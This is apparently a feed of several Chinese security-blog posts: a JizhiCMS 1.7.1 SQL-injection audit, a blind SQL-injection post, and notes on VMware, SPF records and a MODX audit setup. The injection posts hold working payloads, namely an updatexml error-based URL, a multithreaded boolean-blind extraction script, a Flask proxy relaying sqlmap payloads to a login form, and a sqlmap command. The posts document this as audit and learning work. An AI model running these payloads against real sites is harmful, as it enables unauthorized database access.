<p>由于一些我也不太清楚的原因,我只能把代码解压到网站根目录才可以正常进行安装和访问,之前审计laravel时也出现过问题,<a href="https://wochinijiamile.blog.csdn.net/article/details/106789753">通过设置vhost解决</a></p>
<h1>审计过程</h1>
<p>我们直接切入主题,查看SQL语句执行的地方,随便找一个SQL查询的语句</p>
<p><img alt="1595956660164" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nHKKfYrQKs.jpg"></p>
<p>通过上面的方式,找到进行SQL查询的代码</p>
<p><img alt="1595956792961" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MiHmRPqInB.jpg"></p>
<p>打开对应文件<code>C:\phpStudy\PHPTutorial\WWW\123\jizhicms_Beta1.7.1\FrPHP\Extend\DB_API.php</code>查看SQL查询相关代码</p>
<p><img alt="1595957545245" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oFqGabPZOv.jpg"></p>
<p>跟入<code>getData</code>方法</p>
<p><img alt="1595956865135" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wfEQRviaiz.jpg"></p>
<p>跟入<code>query</code>方法</p>
<p><img alt="1595956923059" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dzMOnUPWZC.jpg"></p>
<p><strong>可以看到这里SQL语句是没有进行任何过滤的</strong></p>
<p>直接调用pdo的query方法进行数据库的查询,这里我们全局搜索一下DB_API这个类调用的地方,发现一共只有一处:<code>C:\phpStudy\PHPTutorial\WWW\static\common\user\uedit\php\Uploader.class.php</code>的387行,且只调用了其<code>set_table</code>方法,因此这个地方我们并没有办法去利用,<strong>因此需要再去寻找一处可以进行传参的SQL语句查询代码</strong></p>
<p>通过参考文章了解到,该CMS查询SQL的方法为find和findAll,因此我们只需要全局搜索find方法出现的地方即可</p>
<p><img alt="1595958434810" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/vHLHevAiXg.jpg"></p>
<p>在<code>C:\phpStudy\PHPTutorial\WWW\Home\c\MypayController.php</code>找到符合条件的代码</p>
<p><img alt="1595959367505" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nLmTlsbPKe.jpg"></p>
<p><img alt="1595959354382" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/zNDhHqHiEE.jpg"></p>
<p>使用chrome的postman插件构造出报错注入的payload即可触发SQL报错注入:</p>
<p>构造请求<code>http://localhost/index.php/mypay/alipay_return_pay?out_trade_no=1%27%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+%22</code></p>
<p><img alt="1595959523898" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KxXXMbtivd.jpg"></p>SQL盲注相关技术2020-07-24T00:00:00+02:002020-07-24T00:00:00+02:0012138tag:None,2020-07-24:sqlmang-zhu-xiang-guan-ji-zhu.html<h1>前言</h1>
<p>最近的工作中碰到了好几次SQL盲注,但是无奈sqlmap跑不出来,只能自己动手写脚本,开始使用的是1-128的ascii遍历,后来改成了二分,最后参考了网上 …</p><h1>前言</h1>
<p>最近的工作中碰到了好几次SQL盲注,但是无奈sqlmap跑不出来,只能自己动手写脚本,开始使用的是1-128的ascii遍历,后来改成了二分,最后参考了网上别人的代码改成了多线程的形式</p>
<p>参考链接:</p>
<ul>
<li><a href="https://blog.csdn.net/jpygx123/article/details/84328615">https://blog.csdn.net/jpygx123/article/details/84328615</a></li>
<li><a href="https://www.jb51.net/article/109852.htm">https://www.jb51.net/article/109852.htm</a></li>
</ul>
<h1>多线程SQL盲注脚本</h1>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">http.client</span>
<span class="kn">import</span> <span class="nn">urllib</span><span class="o">,</span><span class="nn">parser</span>
<span class="k">class</span> <span class="nc">MyThread</span><span class="p">(</span><span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">func</span><span class="p">,</span> <span class="n">args</span><span class="p">):</span>
<span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">func</span> <span class="o">=</span> <span class="n">func</span>
<span class="bp">self</span><span class="o">.</span><span class="n">args</span> <span class="o">=</span> <span class="n">args</span>
<span class="k">def</span> <span class="nf">getresult</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">res</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">res</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">func</span><span class="p">(</span><span class="o">*</span><span class="bp">self</span><span class="o">.</span><span class="n">args</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">asc</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">payload</span><span class="p">):</span>
<span class="n">asci</span> <span class="o">=</span> <span class="mi">2</span><span class="o">**</span><span class="n">i</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="p">(</span><span class="s2">"127.0.0.1"</span><span class="p">)</span>
<span class="c1"># 这里使用的是mysql的&运算符 </span>
<span class="c1"># 根据与运算的特性, a&b 由于b总是1后面跟n个0的形式,因此如果a>=b,则结果必为b</span>
<span class="c1">#所以这个方法返回的总是第一个大于或者等于的值,由这些数字相加,总是能得出正确的字符串所对应的ASCII值</span>
<span class="n">URL33</span> <span class="o">=</span> <span class="s2">"""/sqli-labs-master/Less-5/?id=1'and ascii(substr((select version()),ejndgvtuohjsduiofjgbnld,1))</span><span class="si">%26e</span><span class="s2">jndgvsdasdasdatuohjsduiofjgbnld=ejndgvsdasdasdatuohjsduiofjgbnld%23"""</span>
<span class="n">url2</span> <span class="o">=</span> <span class="n">URL33</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"""ejndgvtuohjsduiofjgbnld"""</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>
<span class="n">url3</span> <span class="o">=</span> <span class="n">url2</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"""ahosidjkfhaihaifdiasudifdiasudiasudais"""</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">asci</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">url3</span><span class="p">)</span>
<span class="n">conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"GET"</span><span class="p">,</span><span class="n">url3</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="n">asdasdasd</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"this is asdasdasd-----------></span><span class="se">\t</span><span class="s2">"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status</span><span class="p">))</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">asdasdasd</span><span class="p">)</span> <span class="o">></span> <span class="mi">12300</span><span class="p">:</span>
<span class="k">return</span> <span class="n">asci</span>
<span class="k">return</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">a</span><span class="o">=</span><span class="mi">1</span>
<span class="n">f</span><span class="o">=</span><span class="kc">True</span>
<span class="n">char</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">while</span> <span class="n">f</span><span class="p">:</span>
<span class="n">threads</span> <span class="o">=</span> <span class="p">[]</span>
<span class="nb">sum</span> <span class="o">=</span> <span class="mi">0</span>
<span class="c1">#尝试开启12个线程</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">12</span><span class="p">):</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">MyThread</span><span class="p">(</span><span class="n">asc</span><span class="p">,</span> <span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">i</span><span class="o">%</span><span class="mi">8</span><span class="p">,</span> <span class="n">payload</span><span class="p">))</span>
<span class="n">threads</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span>
<span class="n">threads</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span>
<span class="n">threads</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">join</span><span class="p">()</span>
<span class="nb">sum</span> <span class="o">=</span> <span class="nb">sum</span> <span class="o">+</span> <span class="n">threads</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">getresult</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"sum ------></span><span class="se">\t</span><span class="s2">"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">sum</span><span class="p">))</span>
<span class="k">if</span> <span class="nb">sum</span> <span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="kc">False</span>
<span class="n">char</span> <span class="o">=</span> <span class="n">char</span> <span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="nb">sum</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">+</span><span class="mi">1</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"this is version()------></span><span class="se">\t</span><span class="s2">"</span> <span class="o">+</span> <span class="n">char</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div>
<p>下面是python3的http.client模块的详细使用方法的代码:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">http.client</span>
<span class="kn">import</span> <span class="nn">urllib</span><span class="o">,</span><span class="nn">parser</span>
<span class="c1"># # 初始化一个 https 链接</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPSConnection</span><span class="p">(</span><span class="s2">"www.python.org"</span><span class="p">)</span>
<span class="c1"># 指定 request 请求的方法和请求的链接地址</span>
<span class="n">conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"GET"</span><span class="p">,</span><span class="s2">"/doc/"</span><span class="p">)</span>
<span class="c1"># 得到返回的 http response</span>
<span class="n">r1</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="c1"># HTTP 状态码</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r1</span><span class="o">.</span><span class="n">status</span><span class="p">,</span><span class="n">r1</span><span class="o">.</span><span class="n">reason</span><span class="p">)</span>
<span class="c1"># HTTP 头部</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r1</span><span class="o">.</span><span class="n">getheaders</span><span class="p">())</span>
<span class="c1"># body 部分</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r1</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="c1"># 如果连接没有关闭,打印输出前 200 个字节</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">r1</span><span class="o">.</span><span class="n">closed</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r1</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">200</span><span class="p">))</span>
<span class="c1"># 关闭连接后才能重新请求</span>
<span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="c1"># 请求一个不存在的文件或地址</span>
<span class="n">conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"GET"</span><span class="p">,</span><span class="s2">"/parrot.spam"</span><span class="p">)</span>
<span class="n">r2</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r2</span><span class="o">.</span><span class="n">status</span><span class="p">,</span><span class="n">r2</span><span class="o">.</span><span class="n">reason</span><span class="p">)</span>
<span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="c1"># 使用 HEAD 请求,但是不会返回任何数据</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPSConnection</span><span class="p">(</span><span class="s2">"www.python.org"</span><span class="p">)</span>
<span class="n">conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"HEAD"</span><span class="p">,</span><span class="s2">"/"</span><span class="p">)</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="n">res</span><span class="o">.</span><span class="n">status</span><span class="p">,</span><span class="n">res</span><span class="o">.</span><span class="n">reason</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">res</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="c1"># 使用 POST 请求,提交的数据放在 body 部分</span>
<span class="n">params</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">urlencode</span><span class="p">({</span><span class="s1">'@number'</span><span class="p">:</span><span class="mi">12524</span><span class="p">,</span><span class="s1">'@type'</span><span class="p">:</span><span class="s1">'issue'</span><span class="p">,</span><span class="s1">'@action'</span><span class="p">:</span><span class="s1">'show'</span><span class="p">})</span>
<span class="c1"># post 请求数据,要带上 Content-type 字段,以告知消息主体以何种方式编码</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"Content-type"</span><span class="p">:</span><span class="s2">"application/x-www-form-urlencoded"</span><span class="p">,</span><span class="s2">"Accept"</span><span class="p">:</span><span class="s2">"text/plain"</span><span class="p">}</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="p">(</span><span class="s2">"bugs.python.org"</span><span class="p">)</span>
<span class="n">conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"POST"</span><span class="p">,</span><span class="s2">"/"</span><span class="p">,</span><span class="n">params</span><span class="p">,</span><span class="n">headers</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="c1"># 获取http头</span>
<span class="n">location_value</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">getheader</span><span class="p">(</span><span class="s2">"location"</span><span class="p">)</span>
<span class="c1"># 访问被重定向</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status</span><span class="p">,</span><span class="n">response</span><span class="o">.</span><span class="n">reason</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">))</span>
<span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<h1>sqlmap代理跑盲注</h1>
<p>前段时间碰到的一个站,万能密码直接登了进去,sqlmap一把梭但是只跑出了时间忙注,太慢了,所以手动测量了一下存在bool盲注,标志是302跳转的location字段的值,自己用单线程的二分跑太慢,用上面的多线程跑的时候却发现目标站对请求参数中的<code>&</code>处理的有问题,正常情况下进行一下url编码就可以正常进行,但是这个网站就很奇怪,只要用了<code>&</code>就会被当成请求参数的连接符,最后实在没招了,请教了<code>CMDY</code>(~现在还没有链接,以后会有的~)大佬一波,使用如下方法成功跑出bool注入,这样直接使用sqlmap的threads参数指定线程数就行了(毕竟自己太菜写出来的多线程跑的结果乱七八糟)</p>
<p>首先使用python运行如下脚本,在本地的88端口跑起来一个http服务器,然后使用sqlmap跑本地服务器的注入,本地服务器再使用sqlmap传过来的<code>payload</code>去请求目标站点,然后将相应包头部的<code>location</code>字段的值作为响应包的内容返回给sqlmap,这样就可以成功跑出来bool盲注了</p>
<div class="highlight"><pre><span></span><code><span class="c1">#coding:utf-8</span>
<span class="c1"># 导入Flask类</span>
<span class="kn">import</span> <span class="nn">http.client</span>
<span class="kn">import</span> <span class="nn">urllib</span><span class="o">,</span><span class="nn">parser</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">render_template</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">request</span>
<span class="c1"># 实例化,可视为固定格式</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
<span class="c1"># route()方法用于设定路由;类似spring路由配置</span>
<span class="nd">@app</span><span class="o">.</span><span class="n">route</span><span class="p">(</span><span class="s1">'/helloworld'</span><span class="p">,</span> <span class="n">methods</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'GET'</span><span class="p">,</span> <span class="s1">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">hello_world</span><span class="p">():</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]</span>
<span class="k">pass</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="p">[</span><span class="s2">"pass"</span><span class="p">]</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPSConnection</span><span class="p">(</span><span class="s2">"test.com"</span><span class="p">)</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"Content-type"</span><span class="p">:</span><span class="s2">"application/x-www-form-urlencoded"</span><span class="p">,</span><span class="s2">"Accept"</span><span class="p">:</span><span class="s2">"text/plain"</span><span class="p">}</span>
<span class="n">params</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">urlencode</span><span class="p">({</span><span class="s2">"user"</span><span class="p">:</span><span class="n">user</span><span class="p">,</span><span class="s2">"pass"</span><span class="p">:</span><span class="k">pass</span><span class="p">})</span>
<span class="n">conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"POST"</span><span class="p">,</span><span class="s2">"/test/login"</span><span class="p">,</span><span class="n">params</span><span class="p">,</span><span class="n">headers</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="n">location_value</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">getheader</span><span class="p">(</span><span class="s2">"location"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">location_value</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">location_value</span><span class="p">)</span>
<span class="k">return</span> <span class="n">location_value</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="s2">"null"</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s2">"127.0.0.1, port=88)</span>
</code></pre></div>
<p>sqlmap命令:</p>
<div class="highlight"><pre><span></span><code><span class="nv">python3</span><span class="w"> </span><span class="nv">sqlmap</span>.<span class="nv">py</span><span class="w"> </span><span class="o">-</span><span class="nv">u</span><span class="w"> </span><span class="nv">http</span>:<span class="o">//</span><span class="mi">127</span>.<span class="mi">0</span>.<span class="mi">0</span>.<span class="mi">1</span>:<span class="mi">88</span><span class="o">/</span><span class="nv">helloworld</span><span class="w"> </span><span class="o">--</span><span class="k">random</span><span class="o">-</span><span class="nv">agent</span><span class="w"> </span><span class="o">--</span><span class="nv">data</span><span class="o">=</span><span class="s2">"user=admin&pass=admin' or '1'='1"</span><span class="w"> </span><span class="o">-</span><span class="nv">p</span><span class="w"> </span><span class="nv">user_name</span><span class="w"> </span><span class="o">--</span><span class="nv">dbms</span><span class="o">=</span><span class="nv">mysql</span><span class="w"> </span><span class="o">--</span><span class="nv">technique</span><span class="o">=</span><span class="nv">B</span><span class="w"> </span><span class="o">--</span><span class="nv">delay</span><span class="o">=</span><span class="mi">3</span><span class="w"> </span><span class="o">-</span><span class="nv">v</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span><span class="o">--</span><span class="nv">risk</span><span class="o">=</span><span class="mi">3</span>
</code></pre></div>
<h1>后记</h1>
<p><strong>编程能力相当重要!!!!!</strong></p>解决VMware关闭虚拟机卡死2020-07-19T00:00:00+02:002020-07-19T00:00:00+02:0012138tag:None,2020-07-19:jie-jue-vmwareguan-bi-xu-ni-ji-qia-si.html<h1>前言</h1>
<p>大概从2个月前开始就频繁出现这种问题,在挂起或关闭虚拟机时,对应的虚拟机会陷入黑屏没有响应,无法进行任何操作,使用任务管理器也无法关 …</p><h1>前言</h1>
<p>大概从2个月前开始就频繁出现这种问题,在挂起或关闭虚拟机时,对应的虚拟机会陷入黑屏没有响应,无法进行任何操作,使用任务管理器也无法关闭响应进程,<strong>会提示访问拒绝</strong>,该无响应的虚拟机会<strong>高度占用CPU</strong>,只有<strong>重启物理机</strong>才能解决</p>
<h1>解决方案</h1>
<p>经过我不屑的尝试,终于确定了解决方案:</p>
<hr>
<p><strong>重启物理机</strong>!<strong>重启物理机</strong>!<strong>重启物理机</strong>!<strong>重启物理机</strong>!<strong>重启物理机</strong>!<strong>重启物理机</strong>!</p>
<p><strong>注销物理机无效</strong>!<strong>注销物理机无效</strong>!<strong>注销物理机无效</strong>!<strong>注销物理机无效</strong>!<strong>注销物理机无效</strong>!<strong>注销物理机无效</strong>!</p>
<hr>
<p>仅此一种解决方式,别无他法,网上所有的解决方案都是扯淡</p>
<p><strong>其实你还有一条路可以选择,那就是换平台,转而使用VirtualBox,也是一个不错的选择</strong></p>
<p>使用VirtualBox后,在直接从物理机向虚拟机中拖放文件后,有一定的几率导致虚拟机运行卡顿,此时只需要重启虚拟机即可,不会陷入像VMware的卡顿状态,且重启速度非常快</p>
<p><img alt="image-20200724105942279" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MFXFyEhYRb.jpg"></p>
<h1>解决方案的依据</h1>
<p>从下面两张图中可以看到,该进程没有父进程,且没有句柄,<strong>这也是在任务管理器中强制结束任务时遇到访问拒绝的直接原因</strong></p>
<p><img alt="image-20200719190400391" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/NPcAvrufCS.jpg"></p>
<p><img alt="image-20200719190421778" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qFbxvkbkvy.jpg"></p>
<p>上面这两张图使用的软件是<a href="https://github.com/processhacker/processhacker/releases">processhacker</a></p>DNS之SPF记录2020-07-15T00:00:00+02:002020-07-15T00:00:00+02:0012138tag:None,2020-07-15:dnszhi-spfji-lu.html<h1>前言</h1>
<p>晚上看文章的时候看到了hackerone提交的<a href="https://github.com/upgoingstar/hackerone_public_reports/blob/master/HackeronPublicReports.csv">bug列表</a>,其中一个很有意思,有一个赏金猎人向hackerone<strong>提交了一个类型为不符合安全设计规范</strong>的 …</p><h1>前言</h1>
<p>晚上看文章的时候看到了hackerone提交的<a href="https://github.com/upgoingstar/hackerone_public_reports/blob/master/HackeronPublicReports.csv">bug列表</a>,其中一个很有意思,有一个赏金猎人向hackerone<strong>提交了一个类型为不符合安全设计规范</strong>的bug,原因是hackerone.com域名没有SPF记录</p>
<p>在时间线中可以看到<a href="https://hackerone.com/reports/120">猎人和官方的对话</a>,从中学到了一些知识</p>
<h1>SPF记录和TXT记录</h1>
<p>参考<a href="https://www.ietf.org/rfc/rfc4408.txt">RFC 4408</a>的3.1.1节</p>
<p>该RFC定义了一个新的SPF资源记录,这个记录和TXT记录的格式是完全一样的,两者均使用US-ASCII编码</p>
<p>使用TXT记录已经不被推荐,但是有些DNS服务器并未针对SPF类型的记录进行实现,考虑到兼容性的问题,一个合规的SPF记录应该同时具备SPF记录和TXT记录,如下所示:</p>
<div class="highlight"><pre><span></span><code>example.com. IN TXT "v=spf1 +mx a:colo.example.com/28 -all"
example.com. IN SPF "v=spf1 +mx a:colo.example.com/28 -all"
</code></pre></div>
<p>SPF的全称是<code>Sender Policy Framework</code>,该记录的主要作用是防止别人伪造发件人地址,配置了SPF记录的域名在收件方会检测发件人的使用的邮服(MTA)是否位于SPF记录中所指向的IP范围</p>
<h1>后记</h1>
<p>仅凭SPF记录未设置这一问题,该猎人就获得了500刀的赏金!!!</p>MODX evolution 1.0.5代码审计2020-07-05T00:00:00+02:002020-07-05T00:00:00+02:0012138tag:None,2020-07-05:modx-evolution-105dai-ma-shen-ji.html<h1>前言</h1>
<p>最近的工作中遇到了一个使用MODX搭建的网站,而这个站碰巧<a href="https://licongm.github.io/">licong</a>师傅也看过,在他的指导下开始了对MODX源代码的审计</p>
<h1>版本探测</h1>
<p>MODX的管理路径为<code>xxx.com/manager</code></p>
<p><img alt="1593878549600" src="MODX evolution1.0.5代码审计.assets/1593878549600.png"></p>
<p>直接google搜索 …</p><h1>前言</h1>
<p>最近的工作中遇到了一个使用MODX搭建的网站,而这个站碰巧<a href="https://licongm.github.io/">licong</a>师傅也看过,在他的指导下开始了对MODX源代码的审计</p>
<h1>版本探测</h1>
<p>MODX的管理路径为<code>xxx.com/manager</code></p>
<p><img alt="1593878549600" src="MODX evolution1.0.5代码审计.assets/1593878549600.png"></p>
<p>直接google搜索<code>MODX history release</code>,从搜索结果中可以找到两个网站提供历史发行版本下载:</p>
<ul>
<li><a href="https://MODX.com/download/other-downloads">https://MODX.com/download/other-downloads</a></li>
<li><a href="http://www.evolution-docs.com/release-overview/">http://www.evolution-docs.com/release-overview/</a></li>
</ul>
<p>实际上MODX有两套CMS,一套叫做evolution,另一套叫做revolution</p>
<p>从MODX的<a href="https://github.com/MODXcms/evolution">github仓库</a>中我们可以找到<a href="https : //MODX.com/download/evolution/previous-releases.html">相关链接</a></p>
<p><img alt="1593880048935" src="MODX evolution1.0.5代码审计.assets/1593880048935.png"></p>
<p>通过下载这两套CMS并进行本地搭建之后与网站进行对比,确定网站所使用的的版本:</p>
<p><img alt="1593880141929" src="MODX evolution1.0.5代码审计.assets/1593880141929.png"></p>
<h1>搜索相应版本是否存在漏洞</h1>
<p>在官网上找到一个<code><=1.1</code>的RCE漏洞</p>
<p><img alt="1593880381525" src="MODX evolution1.0.5代码审计.assets/1593880381525.png"></p>
<p>网站上的描述是说MODX的Ajaxsearch, eForm和evoGallery组件存在远程命令执行漏洞,就只有这么一句话,下面我们就根据这条线索对源代码进行审计</p>
<h1>环境搭建</h1>
<h2>MODX安装</h2>
<p>下载完对应版本的源代码之后解压到根目录,访问进行安装,我这里使用的是php5.3 nts,跟着安装向导走,在创建数据表的地方会报错</p>
<p><img alt="1593881426811" src="MODX evolution1.0.5代码审计.assets/1593881426811.png"></p>
<p>老版本的MySQL使用TYPE而不是ENGINE,我使用的mysql版本为5.5.53,已经不支持TYPE,因此需要全局替换</p>
<p><img alt="1593881785665" src="MODX evolution1.0.5代码审计.assets/1593881785665.png"></p>
<p>出现如下页面即代表环境搭建成功</p>
<p><img alt="1593881885599" src="MODX evolution1.0.5代码审计.assets/1593881885599.png"></p>
<h2>调试环境的搭建</h2>
<p>php调试选择xdebug,这里我使用的是开发工具是IDEA,IDEA会自动检测到php文件并提示安装php相关插件,php运行环境的配置如下,xdebug的安装方式可以通过点击进行官网查看</p>
<p><img alt="1593882100592" src="MODX evolution1.0.5代码审计.assets/1593882100592.png"></p>
<p>由于审计过程中需要使用<a href="https://chrome.google.com/webstore/detail/tabbed-postman-rest-clien/coohjcphdfgbiolnekdpbcijmhambjff">postman</a>构造POST请求,为了能够正常调试,需要在请求的URL后面加上xdebug的session:<code>?XDEBUG_SESSION_START=14759</code></p>
<p>注意每次调试XDEBUG_SESSION_START的值都会改变</p>
<p>在调试代码的过程中,我们可能会想要输出中间变量,这里有一个小技巧,就是使用<code>print_r</code>输出数组的时候可以使用如下方式进行输出,方便我们查看数组结构:</p>
<p><img alt="1593882447769" src="MODX evolution1.0.5代码审计.assets/1593882447769.png"></p>
<h1>审计代码</h1>
